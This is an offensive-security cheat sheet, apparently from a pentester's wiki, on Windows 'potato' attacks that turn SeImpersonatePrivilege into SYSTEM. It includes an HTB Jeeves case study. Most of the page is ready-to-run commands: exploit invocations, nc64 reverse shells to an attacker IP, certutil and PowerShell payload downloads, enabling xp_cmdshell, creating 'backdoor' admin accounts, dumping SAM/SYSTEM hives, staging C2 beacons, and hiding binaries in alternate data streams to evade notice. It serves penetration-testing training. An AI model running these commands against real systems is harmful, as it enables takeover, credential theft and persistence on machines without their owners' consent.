← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · Alternate Data Streams guide →

Potato Attacks — SeImpersonate to SYSTEM fas:ClipboardList

[!dashboard] What this is The long-form companion to the potato line in the Windows Privilege Escalation cheat sheet. The cheat sheet gives you the one-liner mid-box; this guide explains what each potato actually abuses, walks every useful flag, and shows how to deliver them from an MSSQL shell / IIS web shell / WinRM. Once you land SYSTEM, pair it with the Alternate Data Streams guide — staging the binary off a directory listing, stripping Mark-of-the-Web, and finding data (including flags) other users hid in a stream.

Almost every service account on Windows — IIS APPPOOL\*, NT SERVICE\MSSQLSERVER, LOCAL SERVICE, NETWORK SERVICE, and most third-party service accounts — holds SeImpersonatePrivilege. That one privilege is the whole game. If you land a shell as one of these accounts (a web shell, xp_cmdshell, a cracked service credential), a potato turns it into NT AUTHORITY\SYSTEM in a single command. The potatoes differ only in how they trick SYSTEM into authenticating to something you control so you can steal its token.

The gate check — do you even have a potato path? fas:Terminal

Everything here lives or dies on one line. Run it first, every time:

whoami /priv

You are looking for either of these in the Enabled state:

[!warning]+ No privilege, no potato fas:TriangleExclamation If whoami /priv shows neither privilege (or shows them Disabled with no way to enable them), the potato family is a dead end — go back to the Windows PrivEsc cheat sheet for services, registry, credential hunting, and kernel paths. A privilege that is present but Disabled is fine: potatoes enable it themselves at runtime through the token they steal.

How a potato works (the shared skeleton)

Every tool below follows the same three beats. Only step 1 changes between them.

The named difference — Print Spooler bug, DCOM/RPC OXID resolver, MS-EFSR — is just the coercion trick in step 1. When one is patched or disabled, you switch tools, not techniques.

[!success]+ Grab the binaries — checksum-verified, offline mirror fas:Toolbox Mirrored on this site (self-hosted, no third-party fetch). Verify the hash before you run anything you pulled off the internet on a client box:

• PrintSpoofer: PrintSpoofer64.exe (SHA-256 · GPG signature)
• GodPotato (.NET 4.x): GodPotato-NET4.exe (SHA-256 · GPG signature)
• GodPotato (.NET 3.5): GodPotato-NET35.exe (SHA-256 · GPG signature)
• JuicyPotato (legacy): JuicyPotato.exe (SHA-256 · GPG signature)
• SweetPotato: SweetPotato.exe (SHA-256 · GPG signature)
• nc64.exe (reverse-shell stand-in): nc64.exe (SHA-256 · GPG signature)

Not yet mirrored here — pull from source and rebuild/verify yourself: JuicyPotatoNG, RoguePotato, EfsPotato.

Which potato, when? fas:Route

Confirm the build first — [environment]::OSVersion.Version (PowerShell) or ver (cmd) — then work down this list. The order is “most reliable / least noisy” first.

PrintSpoofer fas:Terminal

Abuses: the Print Spooler service. PrintSpoofer coerces spoolsv.exe (running as SYSTEM) to connect back to a named pipe it controls, then impersonates the SYSTEM token off that pipe. No network egress, no DCOM — everything happens over local IPC.

Requirements: SeImpersonatePrivilege and the Print Spooler service running (sc query spooler → RUNNING). On many Server 2019+/Win11 builds the Spooler is disabled by default post-PrintNightmare — that is your cue to switch to GodPotato.

:: Interactive SYSTEM shell in your current console — the go-to
PrintSpoofer64.exe -i -c cmd

:: Fire a single command as SYSTEM (non-interactive)
PrintSpoofer64.exe -c "whoami"
PrintSpoofer64.exe -c "net localgroup administrators lowpriv /add"

:: Reverse shell back to your handler (catch with: nc -lnvp 8443)
PrintSpoofer64.exe -c "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

:: Spawn on a specific logon session (e.g. pop a shell on an RDP user's desktop)
PrintSpoofer64.exe -d 1 -c cmd

[!tip]+ Everything PrintSpoofer can do fas:Lightbulb Anything cmd/a program can do, now as SYSTEM: pop an interactive shell (-i -c cmd), run one command (-c), throw a reverse shell, add a local admin, launch a Meterpreter/Sliver stager, read C:\Windows\System32\config\SAM, or spawn on another user’s desktop with -d. It does not need outbound network — ideal on segmented internal hosts where DCOM/135 is filtered.

GodPotato fas:Terminal

Abuses: DCOM. GodPotato stands up a local fake OXID resolver and drives a DCOM activation so a SYSTEM RPC context authenticates to it, then impersonates. It is the broadest-coverage modern potato — Server 2012 through 2022, Windows 8 through 11 — and needs no Print Spooler.

Requirements: SeImpersonatePrivilege and a matching .NET runtime. Pick the binary by what is installed: GodPotato-NET4.exe for .NET 4.x (the common case), GodPotato-NET35.exe when only .NET 2.0/3.5 is present. Check with dir %WINDIR%\Microsoft.NET\Framework\.

:: Prove it — run whoami as SYSTEM
GodPotato-NET4.exe -cmd "cmd /c whoami"

:: Add a local admin / new user
GodPotato-NET4.exe -cmd "cmd /c net user backdoor P@ssw0rd123! /add"
GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators backdoor /add"

:: Reverse shell (catch with nc -lnvp 8443)
GodPotato-NET4.exe -cmd "cmd /c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

:: .NET 3.5-only host
GodPotato-NET35.exe -cmd "cmd /c whoami"

[!tip]+ Everything GodPotato can do fas:Lightbulb Single-shot command execution as SYSTEM with the widest OS coverage of the family and no Spooler and no external network required. Use it to run a reverse shell, add an admin, dump hives, or kick off a C2 stager. Because it is fully local it is the reliable fallback whenever PrintSpoofer’s Spooler dependency isn’t met. It runs one command per invocation, so for a shell, have it launch nc64.exe or a stager rather than expecting an interactive prompt.

JuicyPotatoNG fas:Terminal

Abuses: DCOM, like the original JuicyPotato, but revived for modern Windows. It uses a CLSID that still resolves for service accounts and negotiates the SYSTEM context locally over SSPI on a fixed port (default 10247), sidestepping the 2018 DCOM hardening that killed classic JuicyPotato.

Requirements: SeImpersonatePrivilege. Works on Windows 10 / Server 2016–2022 depending on patch level. Not bundled here — build from source.

:: Default run — uses a built-in working CLSID and port 10247, runs cmd
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"

:: Reverse shell
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

:: Let it seek a usable CLSID for this exact build
JuicyPotatoNG.exe -s -p "C:\Windows\System32\cmd.exe" -a "/c whoami"

:: Custom COM listen port if 10247 is taken
JuicyPotatoNG.exe -t * -l 10999 -p cmd.exe -a "/c whoami"

[!info]+ JuicyPotatoNG vs. the legacy JuicyPotato fas:Lightbulb The bundled JuicyPotato.exe is the legacy tool — dead on Server 2019 / Windows 10 1809 and later because of DCOM hardening; keep it only for Server 2016-and-older targets (JuicyPotato.exe -l 53375 -p cmd.exe -a "/c whoami" -t *, needs a CLSID matching the OS). JuicyPotatoNG is the modern rewrite that works past that hardening. If you’re on anything current, use NG, not the legacy binary.

RoguePotato fas:Terminal

Abuses: DCOM with a remote OXID resolver. RoguePotato forces the DCOM OXID resolution to go out to TCP 135 on a host you control, which redirects it back to a local listener — letting you complete the SYSTEM NTLM negotiation on builds where the fully-local trick doesn’t fire.

Requirements: SeImpersonatePrivilege, and the ability to reach an attacker-controlled resolver on port 135 (you run a socat redirector). This is the one potato with a network dependency. Not bundled here — build from source.

# On YOUR box: redirect victim's 135 back to its RoguePotato listener (default 9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

:: On the victim: -r = your redirector IP, -l = local OXID listener, -e = command
RoguePotato.exe -r 10.10.14.3 -e "cmd.exe /c whoami > C:\Windows\Temp\r.txt" -l 9999

:: Reverse shell variant
RoguePotato.exe -r 10.10.14.3 -e "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd" -l 9999

[!warning]+ RoguePotato needs egress to port 135 fas:TriangleExclamation If outbound/redirected 135 to your redirector is blocked (very common on segmented internal networks), RoguePotato can’t complete. In that case fall back to a fully-local potato — GodPotato, EfsPotato, or SweetPotato’s EfsRpc mode — which need no network at all.

EfsPotato fas:Terminal

Abuses: MS-EFSR, the Encrypting File System Remote Protocol (the same RPC family as PetitPotam). EfsPotato coerces SYSTEM to authenticate to a local pipe via an EFS RPC call, then impersonates. It exposes several RPC interfaces, so when Microsoft patches one you switch to another with a single argument.

Requirements: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. It is tiny and self-contained, which makes it a favourite from xp_cmdshell and cramped web shells. Not bundled here — grab or compile from source (single .cs, buildable on-target with csc.exe).

:: Simplest form — run a command as SYSTEM
EfsPotato.exe "whoami"
EfsPotato.exe "net user backdoor P@ssw0rd123! /add"

:: Pick a specific RPC pipe when the default is patched
::   valid pipes: lsarpc | efsrpc | samr | lsass | netlogon
EfsPotato.exe "whoami" lsarpc
EfsPotato.exe "whoami" efsrpc

:: Reverse shell
EfsPotato.exe "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

# Compile on-target if you only have the .cs (no external toolchain needed)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 EfsPotato.cs

[!tip]+ Everything EfsPotato can do fas:Lightbulb Fully local (no Spooler, no network), tiny, and compilable on-target — which is why it shines from MSSQL xp_cmdshell and low-footprint web shells. Its standout feature is the swappable RPC pipe: if EfsPotato.exe "whoami" fails because one interface is patched, retry with lsarpc, then efsrpc, then samr, etc. SweetPotato’s EfsRpc mode is the same primitive wrapped in a bigger multi-tool.

SweetPotato fas:Terminal

Abuses: whatever you select. SweetPotato bundles several coercion primitives behind a -e switch — commonly EfsRpc (default), PrintSpoofer, and DCOM (older/other forks also carry RottenPotato) — so a single binary carries built-in fallbacks. When one mode fails, change -e instead of uploading a new tool. The exact set depends on the fork; run SweetPotato.exe -h to see what your build exposes.

Requirements: SeImpersonatePrivilege. Modern builds. Bundled: SweetPotato.exe (SHA-256 · GPG signature).

:: Default (EfsRpc mode) — run a command as SYSTEM
SweetPotato.exe -a "/c whoami"

:: Force a specific technique
SweetPotato.exe -e EfsRpc      -p C:\Windows\System32\cmd.exe -a "/c whoami"
SweetPotato.exe -e PrintSpoofer -p C:\Windows\System32\cmd.exe -a "/c whoami"
SweetPotato.exe -e DCOM        -p C:\Windows\System32\cmd.exe -a "/c whoami"

:: Reverse shell
SweetPotato.exe -a "/c c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

[!tip]+ Everything SweetPotato can do fas:Lightbulb It’s the “one binary, several potatoes” option. Start with the default EfsRpc, and if it fails cycle -e PrintSpoofer (needs the Spooler) → -e DCOM → -e RottenPotato. Handy when you can only upload one file but don’t know yet which primitive the target will accept.

Delivery — getting a potato onto the box and running it fas:RocketLaunch

You rarely get a clean interactive prompt. These are the common contexts where you already hold a SeImpersonate account and how to drive a potato from each. Transfer methods (SMB, HTTP, certutil, iwr) are in Foothold — File Transfers.

From MSSQL xp_cmdshell

MSSQL service accounts almost always hold SeImpersonate. This is the classic MSSQL → SYSTEM chain.

-- 1) enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 2) confirm the privilege
EXEC xp_cmdshell 'whoami /priv';

-- 3) stage the potato (HTTP pull from your box)
EXEC xp_cmdshell 'certutil -urlcache -f http://10.10.14.3/GodPotato-NET4.exe C:\Windows\Temp\g.exe';

-- 4) fire it as SYSTEM
EXEC xp_cmdshell 'C:\Windows\Temp\g.exe -cmd "cmd /c net localgroup administrators sql_svc /add"';

From an IIS / ASPX web shell

IIS AppPool identities hold SeImpersonate by design. From a web shell (whoami → iis apppool\...):

# Pull the tool, then run it — one command per web-shell request
Invoke-WebRequest -Uri http://10.10.14.3/PrintSpoofer64.exe -OutFile C:\Windows\Temp\ps.exe
C:\Windows\Temp\ps.exe -c "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

C:\Windows\Temp and C:\Windows\System32\spool\drivers\color are usually writable by the AppPool identity — good staging spots. See Web Shells for the shell itself.

From WinRM / evil-winrm

# On your box
evil-winrm -i 10.10.10.100 -u svc_web -p 'Password123!'

# Inside the session — upload is built into evil-winrm
upload /opt/tools/GodPotato-NET4.exe C:\Windows\Temp\g.exe
C:\Windows\Temp\g.exe -cmd "cmd /c whoami"

[!tip]+ Interactive vs. one-shot potatoes fas:Lightbulb PrintSpoofer (-i -c cmd) and JuicyPotatoNG (-i) can hand you a live SYSTEM prompt. GodPotato, EfsPotato, RoguePotato, and SweetPotato run one command per invocation — so from those, have them launch nc64.exe/a C2 stager for your shell rather than expecting a prompt to appear.

SYSTEM payload cookbook

What to actually run once a potato lands you SYSTEM. Track every artefact you create for cleanup.

:: Interactive shell (PrintSpoofer / JuicyPotatoNG)
... -i -c cmd

:: Reverse shell (any potato) — nc -lnvp 8443 on your box
... "c:\tools\nc64.exe 10.10.14.3 8443 -e cmd"

:: Local admin (loud, logged — prefer a shell/token over a new account on real engagements)
... "cmd /c net user backdoor P@ssw0rd123! /add & net localgroup administrators backdoor /add"

:: Dump the SAM/SYSTEM hives for offline hash extraction
... "cmd /c reg save HKLM\SAM C:\Windows\Temp\sam.sav /y & reg save HKLM\SYSTEM C:\Windows\Temp\sys.sav /y"

:: Stage a Meterpreter/Sliver/C2 beacon as SYSTEM
... "cmd /c C:\Windows\Temp\beacon.exe"

:: Hide/find data with NTFS Alternate Data Streams — see the ADS guide, linked below
... "cmd /c dir /r C:\Users\Administrator\Desktop"

Then pull the hives and crack offline: impacket-secretsdump -sam sam.sav -system sys.sav LOCAL.

[!info]+ SYSTEM is also your ticket into Alternate Data Streams fas:Lightbulb Two uses, both worth knowing: stage the potato binary itself inside an ADS on a boring file (type g.exe > log.txt:g.exe) so a casual dir in C:\Windows\Temp shows nothing, then extract it back out right before you run it; and find data other users hid the same way — SYSTEM can now dir /r every profile on the box, and flags/creds/second-stage tooling turn up there more often than you’d expect. Full mechanics — reading, writing, finding, hiding, and stripping Mark-of-the-Web — are in the Alternate Data Streams guide.

Field method — finding and landing a SeImpersonate → SYSTEM chain fas:Route

The potatoes are the easy part. The skill is the four steps around them: recognise that your shell holds impersonation rights, fingerprint the host so you pick a tool that actually fires on this build, get the binary across when the box has no download tools, then drive it non-interactively and read the result. Below is that method as a repeatable loop. A single awkward old box — HTB Jeeves, Windows 10 build 10586 — runs underneath as a case study, because the boxes where the newest potato fails are exactly the ones that teach you why fingerprinting matters.

1 · Spot the opportunity — is your token weaponisable? fas:Terminal

Two commands tell you whether a potato is even on the table:

whoami /priv      :: look for SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege
whoami /groups    :: look for NT AUTHORITY\SERVICE (S-1-5-6) and the integrity level

whoami /priv is the direct check, but on stripped shells it’s sometimes truncated or lies. whoami /groups is the corroborating tell: membership in NT AUTHORITY\SERVICE (S-1-5-6) means you’re running as a service, and service accounts almost always carry SeImpersonate. A High Mandatory Level label alongside it says the process is already high-integrity — common for service RCE. That combination (BUILTIN\Users + NT AUTHORITY\SERVICE + High integrity) is the fingerprint of “web/app service account that can be potatoed,” even before you confirm the privilege.

Where you land in that context:

• IIS AppPool identities (ASPX/PHP web shells on IIS).
• MSSQL service accounts (xp_cmdshell).
• App-server RCE — Jenkins, Tomcat, GitLab runners, ColdFusion. On Jeeves this is an unauthenticated Jenkins script console on :50000, running as JEEVES\kohsuke — whoami /groups shows NT AUTHORITY\SERVICE and High integrity, so the privilege is there even though whoami /priv output was minimal.
• Any cracked service credential you can runas/psexec with.

2 · Fingerprint the host — the DCOM era decides your tool fas:MagnifyingGlass

This is the step most write-ups skip, and it’s why “just run the newest potato” fails. Get the exact build first:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: or, quicker:
ver

[environment]::OSVersion.Version   # e.g. 10.0.10586.0

Now the concept that ties the whole family together — the DCOM hardening line of September 2018 (Windows 10 1809 / Server 2019):

• The original RottenPotato → JuicyPotato technique abuses CoGetInstanceFromIStorage: it kicks off a DCOM activation of a SYSTEM-owned CLSID and hands it a marshalled object that points OXID resolution at 127.0.0.1:<your -l port>. RPCSS (SYSTEM) dutifully authenticates to that local port over NTLM; the tool catches that auth, negotiates a SYSTEM token, and impersonates it. Pick a CLSID that runs as SYSTEM and a free local port, and it fires.
• The 1809 / Server 2019 patch changed DCOM so that OXID resolution no longer honours your custom port — it’s forced back to port 135. That single change killed the original JuicyPotato on 1809 and later.
• JuicyPotatoNG (decoder_it & splinter_code) is the re-do for the post-patch world: it uses a different CLSID (the PrintNotify service, {854A20FB-2D44-457D-992F-EF13785D2B51}, on default port 10247) and a local SSPI/COM negotiation trick that survives the hardening. PrintSpoofer (Spooler named pipe) and GodPotato (in-process fake OXID resolver) are the other post-patch answers.

So legacy and NG are built for opposite eras, and newer is not better:

Check the Spooler if you’re eyeing PrintSpoofer: sc query spooler → RUNNING. Per-OS CLSID tables for JuicyPotato live at ohpe.it/juicy-potato/CLSID; the BITS CLSID {4991d34b-80a1-4291-83b6-3328366b9097} is a dependable SYSTEM-owning pick across many builds.

3 · Land the binary when the box has no download tools fas:RocketLaunch

Old and minimal Windows often has no curl, no wget, no certutil you can rely on (curl.exe only shipped with build 17063 in 2017 — Jeeves’ 10586 has none of them). Work down this ladder:

# Best case — PowerShell is present
Invoke-WebRequest http://10.10.14.3/jp.exe -OutFile C:\Users\kohsuke\jp.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.3/jp.exe','C:\Users\kohsuke\jp.exe')

:: If certutil exists
certutil -urlcache -f http://10.10.14.3/jp.exe C:\Users\kohsuke\jp.exe

When none of those work, fall back to an SMB share — the reliable transport on stripped hosts:

# On your box — SMBv2 + auth (modern Windows refuses guest/anonymous SMB)
impacket-smbserver SHARE /tmp/share -smb2support -user temp -password temp

:: On the target — map, copy, then clean up the mapping when done
net use Z: \\10.10.14.3\SHARE /user:temp temp
copy Z:\JuicyPotato.exe .
copy Z:\nc64.exe .
... :: run your attack
net use Z: /delete

Stage into a directory your account owns and can execute from — your own profile (C:\Users\<you>\) or C:\Windows\Temp. You can also run straight off the share (Z:\jp.exe ...) if you’d rather not drop the file.

4 · Fire it non-interactively and actually read the output fas:Terminal

Legacy JuicyPotato, GodPotato, EfsPotato and RoguePotato don’t hand you a shell — they run one command as SYSTEM and exit. So make SYSTEM write its output somewhere your low-priv user can read, then read it back:

JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\out.txt 2>&1" -t *
type C:\Users\kohsuke\out.txt

The three knobs, and the traps behind each:

• -t * — try both CreateProcessWithTokenW (needs SeImpersonate) and CreateProcessAsUser (needs SeAssignPrimaryToken). A win prints [+] authresult 0 and NT AUTHORITY\SYSTEM.
• -l <port> — a free local port. Confirm with netstat -ano | findstr ":53375 " (no output = free). Trap: a failed run also produces the output file — from your redirect, not from SYSTEM. Always type it and confirm it says nt authority\system; an empty file or a whoami usage error means the exploit didn’t run, not that you’re SYSTEM.
• -a "<args>" must be one clean line. Trap seen live: pasting a long command into a raw shell can wrap the line and split the -a string, so whoami runs with a stray argument and your output file contains ERROR: Invalid argument/option - ''. That’s a mangled paste, not a broken exploit — retype it on one line.

[!warning]+ “The privileged process failed to communicate with our COM Server” is (usually) not a port problem fas:TriangleExclamation JuicyPotatoNG prints this same line whenever no SYSTEM authentication reaches its local COM server within its ~3-second window — and it suggests trying another -l port, which sends people down a rabbit hole. If you’ve already confirmed the port is free (or -s says the firewall is off and every port should work) and it still fails on every port and every CLSID, the port was never the issue: the trigger is incompatible with this OS build. NG’s CLSID triggers and local TCP handling were engineered for post-1809 Windows; on a pre-hardening build like 10586 the privileged process never routes its auth back to NG’s socket, so it times out with the generic error. GodPotato can fail on the same old builds too — its OXID unmarshal returns 0x80070776 (OR_INVALID_OXID, “the object exporter specified was not found”) and it reports Failed to impersonate security context token. The fix is not a different port; it’s the era-correct tool — drop to the original JuicyPotato, which uses the pre-hardening technique the box still permits.

5 · Once you’re SYSTEM fas:MagnifyingGlass

SYSTEM opens every other profile on the box — and that’s where the interesting things hide: credentials, KeePass databases, second-stage tooling, and data other users tucked into NTFS Alternate Data Streams, invisible to a plain dir. Make dir /r a reflex on every profile and desktop you couldn’t read before. The full mechanics — reading, finding, hiding streams, and Mark-of-the-Web — plus a worked example of finding and reading a flag hidden this way, are in the Alternate Data Streams guide.

[!example]+ Case study — HTB Jeeves (build 10586): the sequence that actually worked fas:Spider Every “newer” potato failed here, which is the whole lesson. The console showed:

• PrintSpoofer64.exe / JuicyPotatoNG.exe — not staged yet (not recognized), so transfer first.
• JuicyPotatoNG (default PrintNotify CLSID on 10247, then ports 9999 / 53375, then BITS CLSID) — every attempt returned failed to communicate with our COM Server. Not a port problem: 10586 is pre-hardening, so NG’s trigger never completes.
• GodPotato-NET4 — UnmarshalObject: 0x80070776 → Failed to impersonate security context token. Same story: OXID unmarshal doesn’t resolve on this build.

The era-correct tool won on the first try:

:: 1) no curl/wget/certutil — pull tools over SMB
net use Z: \\10.10.14.197\SHARE /user:temp temp
copy Z:\JuicyPotato.exe .
:: 2) legacy JuicyPotato, BITS CLSID, free port → SYSTEM
JuicyPotato.exe -l 53375 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\kohsuke\system-check.txt 2>&1" -t *
type system-check.txt          :: -> nt authority\system   ([+] authresult 0 / CreateProcessWithTokenW OK)

From here, dir /r on C:\Users\Administrator\Desktop turns up a file with a named stream — walked through in the ADS guide’s worked example, using this exact box.

[!success]+ The transferable checklist fas:Lightbulb

1. whoami /priv and /groups — SeImpersonate, or NT AUTHORITY\SERVICE + High integrity, means go.
2. systeminfo first — the OS build, not the calendar, picks the tool. Pre-1809 → original JuicyPotato; 1809+ → PrintSpoofer / GodPotato / NG.
3. No download tools? Use an SMB share (impacket-smbserver -smb2support -user … -password … ↔ net use), then net use … /delete.
4. No shell? Redirect to a file you own and type it back — and read it to confirm nt authority\system, since a failed run leaves a file too.
5. A generic “try another port” error on every port = wrong tool for the era, not the wrong port.
6. dir /r every profile you couldn’t read before — flags, creds, and payloads get parked in ADS.

Detection, OPSEC & cleanup fas:Shield

[!danger] Authorised testing only fas:TriangleExclamation Potato attacks land you SYSTEM on a real host. Run these only against systems you’re explicitly authorised to test. Track every binary, user, and hive dump you create, with full paths, and remove them at cleanup.

What the blue team sees:

OPSEC notes:

• Potatoes touch high-signal primitives (Spooler pipe, DCOM). On a monitored estate expect EDR to alert — don’t burn a careful engagement on a noisy net user ... /add. Prefer a SYSTEM shell/token to standing up a new account.
• C:\Windows\Temp is convenient but heavily watched. Rename binaries to something dull; don’t leave GodPotato.exe on disk.

Cleanup checklist:

Remove-Item C:\Windows\Temp\ps.exe, C:\Windows\Temp\g.exe -Force -ErrorAction SilentlyContinue
Remove-Item C:\Windows\Temp\sam.sav, C:\Windows\Temp\sys.sav -Force -ErrorAction SilentlyContinue
net user backdoor /del 2>$null                                                     # if you created one

Staged a payload inside an ADS as part of this chain? The Alternate Data Streams guide’s cleanup section covers removing streams.

References fas:BookOpen

← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · Alternate Data Streams guide →